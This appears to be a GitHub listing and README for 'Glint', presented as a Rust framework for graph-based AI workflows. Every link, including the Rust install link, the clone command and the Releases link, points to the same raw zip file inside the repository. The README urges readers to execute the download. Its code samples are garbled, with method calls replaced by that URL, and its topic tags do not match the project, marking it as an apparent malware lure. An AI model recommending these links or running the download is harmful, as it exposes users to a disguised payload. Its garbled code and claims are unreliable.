https://github.com/raheel-baksh/glint
Glint is a Rust framework designed for creating stateful, graph-based AI systems, enabling efficient multi-step workflows. With features like LLM integration and a graph-based architecture, Glint helps developers build powerful AI solutions with ease. 🐙✨
https://github.com/raheel-baksh/glint
commitlint face-recognition facenet git go hacktoberfest lfw-dataset multi-gpu opengl pretrained-model pytorch storybook styled-components triplet-loss vggface2-dataset webpack4
Last synced: 4 months ago
JSON representation
Glint is a Rust framework designed for creating stateful, graph-based AI systems, enabling efficient multi-step workflows. With features like LLM integration and a graph-based architecture, Glint helps developers build powerful AI solutions with ease. 🐙✨
- Host: GitHub
- URL: https://github.com/raheel-baksh/glint
- Owner: Raheel-baksh
- Created: 2025-05-21T22:53:53.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-06-12T04:02:10.000Z (about 1 year ago)
- Last Synced: 2025-06-12T05:22:12.507Z (about 1 year ago)
- Topics: commitlint, face-recognition, facenet, git, go, hacktoberfest, lfw-dataset, multi-gpu, opengl, pretrained-model, pytorch, storybook, styled-components, triplet-loss, vggface2-dataset, webpack4
- Language: Rust
- Size: 45.9 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
Awesome Lists containing this project
README
# Glint 🌟

[](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip)
Welcome to **Glint**, a high-performance Rust framework designed for building stateful, graph-based AI systems. With Glint, developers can create dynamic, multi-step workflows powered by Large Language Models (LLMs), embeddings, and vector stores. This framework operates through an asynchronous, checkpointable state machine, offering a robust foundation for constructing agent runtimes, autonomous pipelines, and complex control flows.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Getting Started](#getting-started)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Introduction
Glint is inspired by modern AI orchestration tools, focusing on performance and safety. Rust’s zero-cost abstractions allow Glint to deliver predictable performance, thread safety, and fine-grained control over state transitions. Its graph-based architecture simplifies the modeling of conditional logic, parallel branches, and persistent memory, making it a composable and extensible framework.
## Features
- **Graph-based Workflows**: Build complex AI workflows using a graph-based architecture.
- **LLM Integration**: Support for OpenAI and other LLM providers.
- **Embeddings**: Generate and work with embeddings for semantic search.
- **Vector Stores**: Efficiently manage vector data for quick retrieval and processing.
- **Asynchronous Execution**: Non-blocking operations enhance performance.
- **Checkpointing**: Save and restore states during execution.
- **Memory Safety**: Leverage Rust’s safety features to avoid common pitfalls.
- **Extensibility**: Easily add new functionalities and integrate with existing systems.
## Getting Started
To get started with Glint, you will need to have Rust installed on your machine. Follow the steps below to set up your environment and start building with Glint.
### Prerequisites
- [Rust](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip) installed on your system.
- Basic knowledge of Rust programming language.
## Installation
To install Glint, you can clone the repository and build it from source. Here’s how:
```bash
git clone https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip
cd Glint
cargo build --release
```
Alternatively, you can download the latest release from the [Releases section](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip). Make sure to execute the downloaded file according to your operating system guidelines.
## Usage
Once you have Glint installed, you can start building your workflows. Here’s a simple example to illustrate its usage:
```rust
use glint::workflow::{Workflow, Step};
fn main() {
let mut workflow = Workflow::new();
let step1 = Step::new("Step 1")
.execute(|| {
println!("Executing Step 1");
});
let step2 = Step::new("Step 2")
.execute(|| {
println!("Executing Step 2");
});
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step1);
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step2);
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();
}
```
This example creates a basic workflow with two steps. Each step prints a message when executed. You can build upon this foundation to create more complex workflows.
## Examples
Here are a few examples of what you can achieve with Glint:
### Example 1: Conditional Logic
You can model conditional logic using Glint’s graph-based architecture. Here’s how:
```rust
use glint::workflow::{Workflow, Step};
fn main() {
let mut workflow = Workflow::new();
let decision_step = Step::new("Decision")
.execute(|| {
// Some logic to determine the path
true // or false based on your logic
});
let true_branch = Step::new("True Branch")
.execute(|| {
println!("Executing True Branch");
});
let false_branch = Step::new("False Branch")
.execute(|| {
println!("Executing False Branch");
});
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(decision_step);
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(true_branch).if_condition(true);
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(false_branch).if_condition(false);
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();
}
```
### Example 2: Parallel Execution
Glint allows for parallel execution of steps. Here’s a simple example:
```rust
use glint::workflow::{Workflow, Step};
fn main() {
let mut workflow = Workflow::new();
let step1 = Step::new("Step 1")
.execute(|| {
println!("Executing Step 1");
});
let step2 = Step::new("Step 2")
.execute(|| {
println!("Executing Step 2");
});
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step1).parallel();
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step2).parallel();
https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();
}
```
In this example, both steps execute simultaneously.
## Contributing
We welcome contributions to Glint. If you would like to contribute, please follow these steps:
1. Fork the repository.
2. Create a new branch (`git checkout -b feature/YourFeature`).
3. Make your changes.
4. Commit your changes (`git commit -m 'Add some feature'`).
5. Push to the branch (`git push origin feature/YourFeature`).
6. Open a pull request.
Please ensure your code follows the Rust style guidelines and includes tests where applicable.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For questions or support, please open an issue in the repository or contact the maintainers directly.
To explore the latest features and updates, visit the [Releases section](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip). Here, you can download the latest version and keep your Glint framework up to date.
Thank you for checking out Glint! We look forward to seeing what you build with it.